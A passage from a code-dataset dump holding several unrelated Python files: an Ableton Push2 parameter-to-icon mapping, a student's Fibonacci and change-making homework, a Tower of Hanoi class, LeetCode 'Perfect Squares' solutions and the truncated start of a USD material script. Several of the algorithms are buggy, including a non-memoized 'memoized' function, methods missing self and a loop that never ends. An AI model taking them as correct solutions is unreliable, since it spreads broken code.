(u'wavetable_unison_position_spread.svg', u''), \n 'wavetable_unison_random': (u'wavetable_unison_random.svg', u''), \n 'workflow_clip': (u'workflow_clip.svg', u''), \n 'workflow_scene': (u'workflow_scene.svg', u'')}\nOPERATOR_OSCILLATORS = (u'wave_sine', u'wave_sine_4bit', u'wave_sine_8bit', u'wave_saw_3',\n u'wave_saw_4', u'wave_saw_6', u'wave_saw_8', u'wave_saw_16',\n u'wave_saw_32', u'wave_saw_64', u'wave_saw_down', u'wave_square_3',\n u'wave_square_4', u'wave_square_6', u'wave_square_8', u'wave_square_16',\n u'wave_square_32', u'wave_square_64', u'wave_square', u'wave_triangle',\n u'wave_noise_loop', u'wave_noise_white', u'wave_user')\nACTIVATE = (u'control_off', u'control_on')\nANALOG_OSCILLATORS = (u'wave_sine', u'wave_saw_down', u'wave_square', u'wave_noise_white')\nANALOG_L_F_O = (u'wave_sine', u'wave_triangle', u'wave_square', u'wave_noise_white',\n u'wave_noise_white')\nANALOG_FILTERS = (u'filter_low_12', u'filter_low_24', u'filter_band_6', u'filter_band_12',\n u'filter_notch_12', u'filter_notch_24', u'filter_high_12', u'filter_high_24',\n u'filter_formant_6', u'filter_formant_12')\nRESONANCE_TYPES = (u'co_beam', u'co_marimba', u'co_string', u'co_membrane', u'co_plate',\n u'co_pipe', u'co_tube')\nCOLLISION_FILTERS = (u'filter_low_12', u'filter_high_12', u'filter_band_12', u'filter_band_6')\nCOLLISION_L_F_O = (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_up',\n u'wave_saw_down', u'wave_sh_mono', u'wave_noise_white')\nIMPULSE_FILTERS = (u'filter_low_12', u'filter_low_24', u'filter_band_12', u'filter_band_24',\n u'filter_high_12', u'filter_high_24', u'filter_notch_12')\nSAMPLER_OSCILLATORS = (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_up',\n u'wave_saw_down', u'wave_sh_mono')\nLFO_WAVEFORMS = (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_up', u'wave_saw_down',\n u'wave_sh_stereo', u'wave_sh_mono')\nSTEREO_MODE = (u'lfo_phase', u'lfo_spin')\nSYNC = (u'lfo_free', u'lfo_sync')\nEQ8_FILTER_TYPES = (u'filter_high_48', u'filter_high_12', u'filter_low_shelf', u'filter_bell',\n u'filter_notch_24', u'filter_high_shelf', u'filter_low_12', u'filter_low_48')\nCYTOMIC_FILTER_TYPES = (u'filter_low_48', u'filter_high_48', u'filter_band_24', u'filter_notch_24',\n u'filter_morph_24')\nFILTER_CIRCUIT_TYPES = (u'circuit_clean', u'circuit_osr', u'circuit_ms2', u'circuit_smp',\n u'circuit_prd')\nCOMPRESSOR_MODES = (u'compressor_peak', u'compressor_rms', u'compressor_expand')\nWAVETABLE_LOOP_MODE = (u'wavetable_env_loop_none', u'wavetable_env_loop_trigger', u'wavetable_env_loop')\nWAVETABLE_OSCILLATOR_SWITCH = (u'wavetable_osc_1', u'wavetable_osc_2', u'wavetable_osc_sub',\n u'wavetable_osc_mix')\nWAVETABLE_OSCILLATOR_EFFECT_TYPES = (u'wavetable_effect_none', u'wavetable_effect_fm',\n u'wavetable_effect_classic', u'wavetable_effect_modern')\nWAVETABLE_FILTER_TYPES = (u'wavetable_filter_1', u'wavetable_filter_2', u'wavetable_filter_3',\n u'wavetable_filter_4', u'wavetable_filter_5')\nWAVETABLE_LFO_TYPES = (u'lfo_sine_small', u'lfo_triangle_small', u'lfo_saw_down_small',\n u'lfo_square_small', u'lfo_random_small')\nWAVETABLE_VOICES = (u'voices_2', u'voices_3', u'voices_4', u'voices_5', u'voices_6',\n u'voices_7', u'voices_8')\nGENERIC_PARAMETER_IMAGES = {'LFO Waveform': LFO_WAVEFORMS, \n 'Waveform': (u'wave_sine', u'wave_triangle', u'wave_saw_down', u'wave_sh_stereo'), \n 'Filter Type': (u'filter_low_48', u'filter_high_48', u'filter_band_24', u'filter_notch_24'), \n 'Ext. In On': ACTIVATE, \n 'LFO Sync': SYNC, \n 'Sync': SYNC, \n 'Adaptive Q': ACTIVATE, \n 'LFO Stereo Mode': STEREO_MODE, \n 'Side Listen': ACTIVATE, \n 'EQ On': ACTIVATE, \n 'EQ Mode': (u'filter_low_shelf', u'filter_bell', u'filter_high_shelf', u'filter_low_48', u'filter_band_24',\n u'filter_high_48')}\nDEVICE_PARAMETER_IMAGES = {'UltraAnalog': {'OSC1 On/Off': ACTIVATE, \n 'OSC2 On/Off': ACTIVATE, \n 'F1 On/Off': ACTIVATE, \n 'F2 On/Off': ACTIVATE, \n 'AMP1 On/Off': ACTIVATE, \n 'AMP2 On/Off': ACTIVATE, \n 'Noise On/Off': ACTIVATE, \n 'Unison On/Off': ACTIVATE, \n 'Glide On/Off': ACTIVATE, \n 'Glide Legato': ACTIVATE, \n 'LFO1 On/Off': ACTIVATE, \n 'LFO1 Sync': SYNC, \n 'LFO2 On/Off': ACTIVATE, \n 'LFO2 Sync': SYNC, \n 'F1 On/Off': ACTIVATE, \n 'F2 On/Off': ACTIVATE, \n 'Vib On/Off': ACTIVATE, \n 'OSC1 Shape': ANALOG_OSCILLATORS, \n 'OSC2 Shape': ANALOG_OSCILLATORS, \n 'F1 Type': ANALOG_FILTERS, \n 'F2 Type': ANALOG_FILTERS, \n 'LFO1 Shape': ANALOG_L_F_O, \n 'LFO2 Shape': ANALOG_L_F_O}, \n 'ChannelEq': {'Highpass On': ACTIVATE}, \n 'Collision': {'Res 1 Type': RESONANCE_TYPES, \n 'Res 2 Type': RESONANCE_TYPES, \n 'Mallet On/Off': ACTIVATE, \n 'Noise On/Off': ACTIVATE, \n 'Res 1 On/Off': ACTIVATE, \n 'Res 2 On/Off': ACTIVATE, \n 'LFO 1 On/Off': ACTIVATE, \n 'LFO 2 On/Off': ACTIVATE, \n 'Mallet On/Off': ACTIVATE, \n 'Noise Filter Type': COLLISION_FILTERS, \n 'LFO 1 Shape': COLLISION_L_F_O, \n 'LFO 2 Shape': COLLISION_L_F_O, \n 'LFO 1 Sync': SYNC, \n 'LFO 2 Sync': SYNC}, \n 'InstrumentImpulse': {'1 Filter Type': IMPULSE_FILTERS, \n '2 Filter Type': IMPULSE_FILTERS, \n '3 Filter Type': IMPULSE_FILTERS, \n '4 Filter Type': IMPULSE_FILTERS, \n '5 Filter Type': IMPULSE_FILTERS, \n '6 Filter Type': IMPULSE_FILTERS, \n '7 Filter Type': IMPULSE_FILTERS, \n '8 Filter Type': IMPULSE_FILTERS}, \n 'StringStudio': {'Excitator Type': (u'tension_bow', u'tension_hammer', u'tension_hammerbounce', u'tension_plectrum'), \n 'Filter Type': (u'filter_low_12', u'filter_low_24', u'filter_band_6', u'filter_band_12', u'filter_notch_12',\n u'filter_notch_24', u'filter_high_12', u'filter_high_24', u'filter_formant_6', u'filter_formant_12'), \n 'Exc On/Off': ACTIVATE, \n 'E Pos Abs': ACTIVATE, \n 'Pickup On/Off': ACTIVATE, \n 'Damper On': ACTIVATE, \n 'Damper Gated': ACTIVATE, \n 'D Pos Abs': ACTIVATE, \n 'Term On/Off': ACTIVATE, \n 'Body On/Off': ACTIVATE, \n 'Filter On/Off': ACTIVATE, \n 'LFO On/Off': ACTIVATE, \n 'Vibrato On/Off': ACTIVATE, \n 'Unison On/Off': ACTIVATE, \n 'Porta On/Off': ACTIVATE, \n 'Porta Legato': ACTIVATE, \n 'Porta Prop': ACTIVATE, \n 'FEG On/Off': ACTIVATE, \n 'Damper Gated': ACTIVATE, \n 'LFO Sync On': SYNC, \n 'LFO Shape': (u'wave_sine', u'wave_triangle', u'wave_square', u'wave_sh_mono', u'wave_noise_white')}, \n 'Operator': {'Oscillator': (u'osc_a', u'osc_b', u'osc_c', u'osc_d'), \n 'Algorithm': (u'osc_alg_1', u'osc_alg_2', u'osc_alg_3', u'osc_alg_4', u'osc_alg_5', u'osc_alg_6',\n u'osc_alg_7', u'osc_alg_8', u'osc_alg_9', u'osc_alg_10', u'osc_alg_11'), \n 'Filter Type': CYTOMIC_FILTER_TYPES, \n 'Filter Circuit - LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter Circuit - BP/NO/Morph': FILTER_CIRCUIT_TYPES, \n 'LFO Type': (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_up', u'wave_saw_down',\n u'wave_sh_mono', u'wave_noise_white'), \n 'Osc-A Wave': OPERATOR_OSCILLATORS, \n 'Osc-B Wave': OPERATOR_OSCILLATORS, \n 'Osc-C Wave': OPERATOR_OSCILLATORS, \n 'Osc-D Wave': OPERATOR_OSCILLATORS, \n 'Filter On': ACTIVATE, \n 'Osc-A On': ACTIVATE, \n 'A Quantize': ACTIVATE, \n 'B Quantize': ACTIVATE, \n 'C Quantize': ACTIVATE, \n 'D Quantize': ACTIVATE, \n 'Osc-A Retrig': ACTIVATE, \n 'A Fix On ': ACTIVATE, \n 'Osc-B On': ACTIVATE, \n 'Osc-B Quantize': ACTIVATE, \n 'Osc-B Retrig': ACTIVATE, \n 'B Fix On ': ACTIVATE, \n 'Osc-C On': ACTIVATE, \n 'Osc-C Quantize': ACTIVATE, \n 'Osc-C Retrig': ACTIVATE, \n 'C Fix On ': ACTIVATE, \n 'Osc-D On': ACTIVATE, \n 'Osc-D Quantize': ACTIVATE, \n 'Osc-D Retrig': ACTIVATE, \n 'D Fix On ': ACTIVATE, \n 'LFO On': ACTIVATE, \n 'LFO Retrigger': ACTIVATE, \n 'Glide On': ACTIVATE, \n 'Pe On': ACTIVATE, \n 'LFO < Pe': ACTIVATE, \n 'Osc-A < Pe': ACTIVATE, \n 'Osc-B < Pe': ACTIVATE, \n 'Osc-C < Pe': ACTIVATE, \n 'Osc-D < Pe': ACTIVATE, \n 'Filt < LFO': ACTIVATE, \n 'Osc-A < LFO': ACTIVATE, \n 'Osc-B < LFO': ACTIVATE, \n 'Osc-C < LFO': ACTIVATE, \n 'Osc-D < LFO': ACTIVATE}, \n 'MultiSampler': {'F On': ACTIVATE, \n 'Fe On': ACTIVATE, \n 'Shaper On': ACTIVATE, \n 'Osc On': ACTIVATE, \n 'O Fix On': ACTIVATE, \n 'O Type': OPERATOR_OSCILLATORS, \n 'Pe On': ACTIVATE, \n 'L 1 On': ACTIVATE, \n 'L 1 Sync': SYNC, \n 'L 1 Retrig': ACTIVATE, \n 'L 1 Wave': SAMPLER_OSCILLATORS, \n 'L 2 On': ACTIVATE, \n 'L 2 Sync': SYNC, \n 'L 2 St Mode': STEREO_MODE, \n 'L 2 Retrig': ACTIVATE, \n 'L 2 Wave': SAMPLER_OSCILLATORS, \n 'L 3 On': ACTIVATE, \n 'L 3 Sync': SYNC, \n 'L 3 St Mode': STEREO_MODE, \n 'L 3 Retrig': ACTIVATE, \n 'L 3 Wave': SAMPLER_OSCILLATORS, \n 'Ae On': ACTIVATE, \n 'Filter Type': CYTOMIC_FILTER_TYPES, \n 'Filter Circuit - LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter Circuit - BP/NO/Morph': FILTER_CIRCUIT_TYPES}, \n 'OriginalSimpler': {'F On': ACTIVATE, \n 'Fe On': ACTIVATE, \n 'L On': ACTIVATE, \n 'L Retrig': ACTIVATE, \n 'Pe On': ACTIVATE, \n 'L Wave': (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_down', u'wave_saw_up',\n u'wave_sh_mono'), \n 'Filter Type': CYTOMIC_FILTER_TYPES, \n 'Filter Circuit - LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter Circuit - BP/NO/Morph': FILTER_CIRCUIT_TYPES}, \n 'Amp': {'Amp Type': (u'amp_clean', u'amp_boost', u'amp_blues', u'amp_rock', u'amp_lead', u'amp_heavy',\n u'amp_bass'), \n 'Dual Mono': ACTIVATE}, \n 'AutoFilter': {'LFO Quantize On': ACTIVATE, \n 'Filter Type': CYTOMIC_FILTER_TYPES, \n 'Filter Circuit - LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter Circuit - BP/NO/Morph': FILTER_CIRCUIT_TYPES}, \n 'AutoPan': {'Invert': (u'phase_normal', u'phase_inverted'), \n 'LFO Type': SYNC, \n 'Stereo Mode': STEREO_MODE}, \n 'BeatRepeat': {'Filter On': ACTIVATE, \n 'Repeat': ACTIVATE, \n 'Block Triplets': ACTIVATE}, \n 'Cabinet': {'Dual Mono': ACTIVATE, \n 'Cabinet Type': (u'cabinet_1x12', u'cabinet_2x12', u'cabinet_4x12', u'cabinet_4x10', u'cabinet_4x10bass'), \n 'Microphone Type': (u'mic_condenser', u'mic_dynamic'), \n 'Microphone Position': (u'mic_nearon', u'mic_nearoff', u'mic_far')}, \n 'Chorus': {'LFO Extend On': ACTIVATE, \n 'Link On': ACTIVATE}, \n 'Compressor2': {'Auto Release On/Off': ACTIVATE, \n 'Makeup': ACTIVATE, \n 'Model': COMPRESSOR_MODES}, \n 'Corpus': {'Resonance Type': RESONANCE_TYPES, \n 'LFO On/Off': ACTIVATE, \n 'LFO Shape': (u'wave_sine', u'wave_square', u'wave_triangle', u'wave_saw_up', u'wave_saw_down',\n u'wave_sh_mono', u'wave_noise_white'), \n 'LFO Stereo Mode': STEREO_MODE, \n 'MIDI Frequency': ACTIVATE, \n 'Note Off': ACTIVATE, \n 'Filter On/Off': ACTIVATE}, \n 'Delay': {'L 16th': (u'delay_16th_1', u'delay_16th_2', u'delay_16th_3', u'delay_16th_4', u'delay_16th_5',\n u'delay_16th_6', u'delay_16th_8', u'delay_16th_16'), \n 'R 16th': (u'delay_16th_1', u'delay_16th_2', u'delay_16th_3', u'delay_16th_4', u'delay_16th_5',\n u'delay_16th_6', u'delay_16th_8', u'delay_16th_16'), \n 'Channel': (u'utility_stereo', u'utility_left', u'utility_right'), \n 'Link Switch': (u'utility_stereo', u'utility_left'), \n 'L Sync Enum': SYNC, \n 'R Sync Enum': SYNC, \n 'Ping Pong': ACTIVATE}, \n 'DrumBuss': {'Drive Type': (u'drumbuss_soft', u'drumbuss_medium', u'drumbuss_hard')}, \n 'Tube': {'Tube Type': (u'tube_a', u'tube_b', u'tube_c')}, \n 'Echo': {'L Sync Mode': (u'echo_note', u'echo_triplet', u'echo_dotted', u'echo_16th'), \n 'R Sync Mode': (u'echo_note', u'echo_triplet', u'echo_dotted', u'echo_16th'), \n 'Mod Wave': (u'lfo_sine_small', u'lfo_triangle_small', u'lfo_saw_up_small', u'lfo_saw_down_small',\n u'lfo_square_small', u'lfo_random_small'), \n 'Link': ACTIVATE, \n 'Ping Pong': ACTIVATE, \n 'Repitch': ACTIVATE, \n 'Filter On': ACTIVATE, \n 'Mod Sync': ACTIVATE}, \n 'Eq8': {'Band': (u'eq8_band1', u'eq8_band2', u'eq8_band3', u'eq8_band4', u'eq8_band5', u'eq8_band6',\n u'eq8_band7', u'eq8_band8'), \n '1 Filter Type A': EQ8_FILTER_TYPES, \n '2 Filter Type A': EQ8_FILTER_TYPES, \n '3 Filter Type A': EQ8_FILTER_TYPES, \n '4 Filter Type A': EQ8_FILTER_TYPES, \n '5 Filter Type A': EQ8_FILTER_TYPES, \n '6 Filter Type A': EQ8_FILTER_TYPES, \n '7 Filter Type A': EQ8_FILTER_TYPES, \n '8 Filter Type A': EQ8_FILTER_TYPES, \n '1 Filter On A': ACTIVATE, \n '2 Filter On A': ACTIVATE, \n '3 Filter On A': ACTIVATE, \n '4 Filter On A': ACTIVATE, \n '5 Filter On A': ACTIVATE, \n '6 Filter On A': ACTIVATE, \n '7 Filter On A': ACTIVATE, \n '8 Filter On A': ACTIVATE}, \n 'FilterEQ3': {'LowOn': ACTIVATE, \n 'MidOn': ACTIVATE, \n 'HighOn': ACTIVATE}, \n 'FilterDelay': {'1 Input On': ACTIVATE, \n '2 Input On': ACTIVATE, \n '3 Input On': ACTIVATE, \n '1 Delay Mode': ACTIVATE, \n '2 Delay Mode': ACTIVATE, \n '3 Delay Mode': ACTIVATE}, \n 'FrequencyShifter': {'Wide': ACTIVATE, \n 'Drive On/Off': ACTIVATE}, \n 'GlueCompressor': {'Peak Clip In': ACTIVATE}, \n 'GrainDelay': {'Delay Mode': ACTIVATE}, \n 'InstrumentVector': {'Oscillator': WAVETABLE_OSCILLATOR_SWITCH, \n 'Osc 1 Effect Type': WAVETABLE_OSCILLATOR_EFFECT_TYPES, \n 'Osc 2 Effect Type': WAVETABLE_OSCILLATOR_EFFECT_TYPES, \n 'Sub Transpose': (u'wavetable_octave_0', u'wavetable_octave_minus_1', u'wavetable_octave_minus_2'), \n 'Filter': (u'wavetable_filter_switch_1', u'wavetable_filter_switch_2'), \n 'Filter 1 Type': WAVETABLE_FILTER_TYPES, \n 'Filter 2 Type': WAVETABLE_FILTER_TYPES, \n 'Filter 1 On': ACTIVATE, \n 'Filter 2 On': ACTIVATE, \n 'Filter 1 LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter 2 LP/HP': FILTER_CIRCUIT_TYPES, \n 'Filter 1 BP/NO/Morph': FILTER_CIRCUIT_TYPES, \n 'Filter 2 BP/NO/Morph': FILTER_CIRCUIT_TYPES, \n 'Filter Routing': (u'wavetable_routing_serial', u'wavetable_routing_parallel', u'wavetable_routing_split'), \n 'Amp Env View': (u'wavetable_env_time', u'wavetable_env_slope'), \n 'Mod Env View': (u'wavetable_env_time', u'wavetable_env_slope', u'wavetable_env_value'), \n 'Amp Loop Mode': WAVETABLE_LOOP_MODE, \n 'Env 2 Loop Mode': WAVETABLE_LOOP_MODE, \n 'Env 3 Loop Mode': WAVETABLE_LOOP_MODE, \n 'LFO 1 Shape': WAVETABLE_LFO_TYPES, \n 'LFO 2 Shape': WAVETABLE_LFO_TYPES, \n 'LFO 1 Retrigger': ACTIVATE, \n 'LFO 2 Retrigger': ACTIVATE, \n 'Mono On': ACTIVATE, \n 'Unison Mode': (u'wavetable_unison_none', u'wavetable_unison_classic', u'wavetable_unison_shimmer',\n u'wavetable_unison_noise', u'wavetable_unison_phase_sync', u'wavetable_unison_position_spread',\n u'wavetable_unison_random'), \n 'Unison Voices': WAVETABLE_VOICES, \n 'Poly Voices': WAVETABLE_VOICES}, \n 'Limiter': {'Auto': ACTIVATE, \n 'Link Channels': ACTIVATE}, \n 'Looper': {'Reverse': ACTIVATE}, \n 'MultibandDynamics': {'Band Activator (Low)': ACTIVATE, \n 'Band Activator (Mid)': ACTIVATE, \n 'Band Activator (High)': ACTIVATE, \n 'Soft Knee On/Off': ACTIVATE}, \n 'Pedal': {'Type': (u'pedal_overdrive', u'pedal_distortion', u'pedal_fuzz'), \n 'Sub': ACTIVATE}, \n 'Redux': {'Bit On': ACTIVATE}, \n 'Resonator': {'Const': ACTIVATE, \n 'Filter On': ACTIVATE, \n 'I On': ACTIVATE, \n 'II On': ACTIVATE, \n 'III On': ACTIVATE, \n 'IV On': ACTIVATE, \n 'V On': ACTIVATE}, \n 'Reverb': {'In LowCut On': ACTIVATE, \n 'In HighCut On': ACTIVATE, \n 'ER Spin On': ACTIVATE, \n 'HiShelf On': ACTIVATE, \n 'LowShelf On': ACTIVATE, \n 'Freeze On': ACTIVATE, \n 'Flat On': ACTIVATE, \n 'Cut On': ACTIVATE, \n 'Chorus On': ACTIVATE}, \n 'Saturator': {'Color': ACTIVATE, \n 'Soft Clip': ACTIVATE}, \n 'StereoGain': {'Mute': ACTIVATE, \n 'BlockDc': ACTIVATE, \n 'Channel Mode': (u'utility_left', u'utility_stereo', u'utility_right', u'utility_swap'), \n 'Left Inv': ACTIVATE, \n 'Right Inv': ACTIVATE}, \n 'Vinyl': {'Tracing On': ACTIVATE, \n 'Pinch On': ACTIVATE}, \n 'Vocoder': {'Precise/Retro': ACTIVATE, \n 'Enhance': ACTIVATE}, \n 'MidiArpeggiator': {'Hold On': ACTIVATE, \n 'Sync On': ACTIVATE, \n 'Velocity On': ACTIVATE, \n 'Vel. Retrigger': ACTIVATE}, \n 'MidiNoteLength': {'Trigger Mode': ACTIVATE, \n 'Sync On': ACTIVATE}, \n 'MidiRandom': {'Mode': ACTIVATE}, \n 'MidiScale': {'Fold': ACTIVATE}}\n\ndef get_image_filenames_from_ids(image_ids, small_images=False, image_id_to_filename=IMAGE_ID_TO_FILENAME):\n image_index = 1 if small_images else 0\n return [ image_id_to_filename.get(image_id, (u'', u''))[image_index] for image_id in image_ids\n ]\n\n\ndef get_image_filenames(parameter_name, device_type, small_images=False, device_parameter_images=DEVICE_PARAMETER_IMAGES, generic_parameter_images=GENERIC_PARAMETER_IMAGES, image_id_to_filename=IMAGE_ID_TO_FILENAME):\n image_ids = []\n if device_type in device_parameter_images and parameter_name in device_parameter_images[device_type]:\n image_ids = device_parameter_images[device_type][parameter_name]\n elif parameter_name in generic_parameter_images:\n image_ids = generic_parameter_images[parameter_name]\n return get_image_filenames_from_ids(image_ids, small_images=small_images, image_id_to_filename=image_id_to_filename)","sub_path":"basis/AbletonLive10.1_MIDIRemoteScripts/Push2/device_parameter_icons.py","file_name":"device_parameter_icons.py","file_ext":"py","file_size_in_byte":32543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"386294892","text":"'''\nZachary Brown\nMath 320 Section 002\n10/09/2018\n'''\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport time as time\n\n#Problem 1: Fibonacci\ndef recursive_fib(n):\n if n == 0 or n == 1:\n return 1\n else:\n return recursive_fib(n-2) + recursive_fib(n-1)\n\ndef fibonacci_naive(n):\n if n == 0 or n == 1:\n return 1\n fib_n_1 = recursive_fib(n-2)\n fib_n_2 = recursive_fib(n-1)\n fib_n = fib_n_1 + fib_n_2\n return fib_n\n\ndef fibonacci_memoized(n):\n return recursive_fib(n)\n\ndef fibonacci_bottom_up(n):\n fib = 0\n fib_1 = 1\n fib_2 = 1\n for i in range(0, n-2):\n fib = fib_1 + fib_2\n fib_2 = fib_1\n fib_1 = fib\n return fib\n\ndef plt_fib_algs():#find largest n to find fibs in under a minute\n \"\"\"\n NOTE TO THE GRADER: my laptop couldn't recurse on the 40th fibonacci number\n because the maximum recursion depth was reached ...\n \"\"\"\n n_list = [n for n in range(1, 40, 1)]\n x_vals = []\n y_vals_naive = []\n y_vals_memoized = []\n y_vals_bottom_up = []\n for n in n_list:\n print(\"Fibonacci: \", n)\n x_vals.append(n)\n\n start = time.time()\n fibonacci_naive(n)\n stop = time.time()\n y_vals_naive.append((stop - start))\n\n start = time.time()\n fibonacci_memoized(n)\n stop = time.time()\n y_vals_memoized.append((stop - start))\n\n start = time.time()\n fibonacci_bottom_up(n)\n stop = time.time()\n y_vals_bottom_up.append((stop - start))\n \n plt.axis(\"equal\")\n ax1 = plt.subplot(111)\n ax1.loglog(x_vals, y_vals_naive, \"g.-\", label=\"naive\")\n ax1.loglog(x_vals, y_vals_memoized, \"k.-\", label=\"memoized\")\n ax1.loglog(x_vals, y_vals_bottom_up, \"b.-\", label=\"bottom-up\")\n ax1.set_xlabel(\"n\")\n ax1.set_ylabel(\"Seconds\")\n ax1.set_title(\"Time Finding Nth Fibonacci Number (Log-Scale)\")\n plt.legend()\n plt.savefig(\"problem_4_1_fibonacci_plot.png\")\n\n\n#Problem 2:\ndef coin_recurse(v, C):\n if (v in C):\n for i in range(0, len(C)):\n if v == C[i]:\n one_hot = np.zeros(np.shape(np.array(C)))\n one_hot[i] += 1\n return one_hot\n return np.zeros(np.shape(np.array(C)))\n else:\n attempts = []\n min_index = None\n min_sum = None\n attempt_sum = None\n for i in range(0, len(C)):\n attempt = np.zeros(np.shape(np.array(C)))\n attempt[i] += 1\n attempt += coin_recurse(v-C[i], C)\n attempts.append(attempt)\n attempt_sum = np.sum(attempt)\n if (not min_sum) or (attempt_sum < min_sum):\n min_sum = attempt_sum\n min_index = i\n return attempts[min_index]\n\ndef change_naive(v, C):\n min_attempt = coin_recurse(v, C)\n print(\"(v=\", v, \", C=\", min_attempt, \")\")\n\ndef change_bottom_up(v, C):\n current_val = C[0]\n i = 0\n increment = C[0]\n attempts = []\n min_attempt = None\n min_sum = None\n while current_val < v:\n current_attempt = coin_recurse(current_val, C)\n attempt_sum = np.sum(current_attempt)\n if (not min_sum) or (attempt_sum < min_sum):\n min_sum = attempt_sum\n min_index = i\n current_val += increment\n i += 1\n print(\"(v=\", v, \", C=\", min_attempt, \")\")\n\n\n#Problem 3:\ndef change_greedy(v, C):\n greedy_sol = []\n for i in range(len(C)-1, -1, -1):\n mod = v % C[i]\n coin_num = (v - mod) // C[i]\n greedy_sol = [coin_num] + greedy_sol\n print(\"(v=\", v, \", C=\", greedy_sol, \")\")\n\ndef plt_change_algs():#find largest n to find fibs in under a minute\n \"\"\"\n NOTE TO GRADER: I was not able to plot the outputs due to problems with\n recursion depth. I'm not sure if this was a bug in my code (which is\n likely) or something else.\n \"\"\"\n C = [0.01, 0.05, 0.1, 0.25, 0.5, 1.0]\n n_list = [n*0.01 for n in range(1, 2000, 1)]\n x_vals = []\n y_vals_naive = []\n y_vals_bottom_up = []\n y_vals_greedy = []\n for n in n_list:\n print(\"Change Making: \", n)\n x_vals.append(n)\n\n start = time.time()\n change_naive(n, C)\n stop = time.time()\n y_vals_naive.append((stop - start))\n\n start = time.time()\n change_bottom_up(n, C)\n stop = time.time()\n y_vals_bottom_up.append((stop - start))\n\n start = time.time()\n change_greedy(n, C)\n stop = time.time()\n y_vals_greedy.append((stop - start))\n \n plt.axis(\"equal\")\n ax1 = plt.subplot(111)\n ax1.loglog(x_vals, y_vals_naive, \"g.-\", label=\"naive\")\n ax1.loglog(x_vals, y_vals_greedy, \"k.-\", label=\"greedy\")\n ax1.loglog(x_vals, y_vals_bottom_up, \"b.-\", label=\"bottom-up\")\n ax1.set_xlabel(\"n\")\n ax1.set_ylabel(\"Seconds\")\n ax1.set_title(\"Time Finding Minimum Number of Coins for Value == n (Log-Scale)\")\n plt.legend()\n plt.savefig(\"problem_4_2_3_change_making_plot.png\")\n\n\nif __name__ == \"__main__\":\n #plt_fib_algs()\n plt_change_algs()","sub_path":"math320_hw_ch4_123_v1.py","file_name":"math320_hw_ch4_123_v1.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"419781757","text":"from pythonds.basic import Stack\n\nclass TowerOfHanoi:\n\tdef __init__(self, numDisks):\n\t\tself.numDisks = numDisks\n\t\tself.towers = [Stack(), Stack(), Stack()]\n\t\tfor i in range(numDisks, -1, -1):\n\t\t\t self.towers[0].push(i);\n\tdef moveDisk(src, dest):\n\t\t towers[dest].push(towers[src].pop())\n\t\n\tdef moveTower(n, src, spare, dest):\n\t\tif n == 0:\n\t\t\tmoveDisk(src, dest)\n\t\telse:\n\t\t\tmoveTower(n-1, src,dest, spare)\n\t\t\tmoveDisk(src, dest)\n\t\t\tmoveTower(n-1, spare, src, dest)\n\t\t\n","sub_path":"TextBook_Problems/Problem_Solving_with_Algorithms_and_Data_Structures_Using_Python/Chapter4/Programming_Exercises/4.16/TowerOfHanoi.py","file_name":"TowerOfHanoi.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"598688143","text":"# Given a positive integer n, find the least number of perfect square numbers( for example, 1, 4, 9,...)which sum to n.\n# For example,\n# Given n = 12, return 3 because 12 = 4 + 4 + 4\n# Given n = 13, return 2 because 13 = 4 + 9\n\n\n# 思路1：数论中的四平方数和定理，每个正整数均可表为四个整数的平方和(其中有些整数可以为零).\n# 也就是说，如果把0不计入个数，那么返回的结果就只可能是1, 2, 3, 4\n# 比如5 = 1*1 + 2*2 + 0*0 + 0*0 = 1*1 + 2*2，返回结果是2\n# 简化搜索空间的方法：\n# 1. 如果一个数含有因子4，那么把这个数除以4，并不影响结果，因为4乘以任意正整数都是Perfect Square number\n# 举个例子，i = A*A + B*B + C*C + D*D，j = 4 * i，那么j= 2A*2A + 2B*2B + 2C*2C + 2D*2D 也肯定返回与i一样的结果\n# 2. 如果一个数是7的倍数，那么肯定由4个完全平方数组成\n# 举个例子，i = 7 * a = (1*1 + 1*1 + 1*1 + 2*2) * a，肯定由4个完全平方数组成\n# 3. 剩下的结果先判断是否能由1个或两个完全平方数组成，如果不能，则肯定需要3个完全平方数组成\n# Time: O(sqrt n)\nimport math\nclass Solution(object):\n def numSquares(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n while n % 4 == 0:\n n //= 4\n if n % 7 == 0:\n return 4\n i = 0\n while i * i <= n:\n b = int(math.sqrt(n - i * i))\n if i * i + b * b == n:\n return int(not not i) + int(not not b)\n return 3\n\n\n# 动态规划，思路：如果一个数x可以表示为一个任意数a加上一个平方数bｘb，也就是x=a+bｘb，那么能组成这个数x最少的平方数个数，就是能组成a最少的平方数个数加上1（因为b*b已经是平方数了）。\n# Time: O(n * sqrt n)\n# 令dp[x + y * y] = 1, y * y <= n\n# 状态转移方程，dp[x + y * y] = min(dp[x + y * y], dp[x] + 1)\nclass Solution1(object):\n # 设置一个按需扩展的数组用来保存\n _dp = [0]\n def numSquares(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n dp = self._dp\n while len(dp) <= n:\n dp += min(dp[-i*i] for i in range(1, int(len(dp) ** 0.5 + 1))) + 1,\n return dp[n]\n\n\n\n\n\n\n","sub_path":"LeetCode/Medium/Perfect_Squares/Perfect_Squares.py","file_name":"Perfect_Squares.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"446753224","text":"from pxr import Usd, UsdShade, Sdf\nimport utils\nimport imp\nimport os\n\n\ndef add_material(materials_opt, xsi_mat, stage, stage_asset_path, usd_xform, usd_prim, is_bind=True): # do the same in prim_mesh\n material_asset_path = 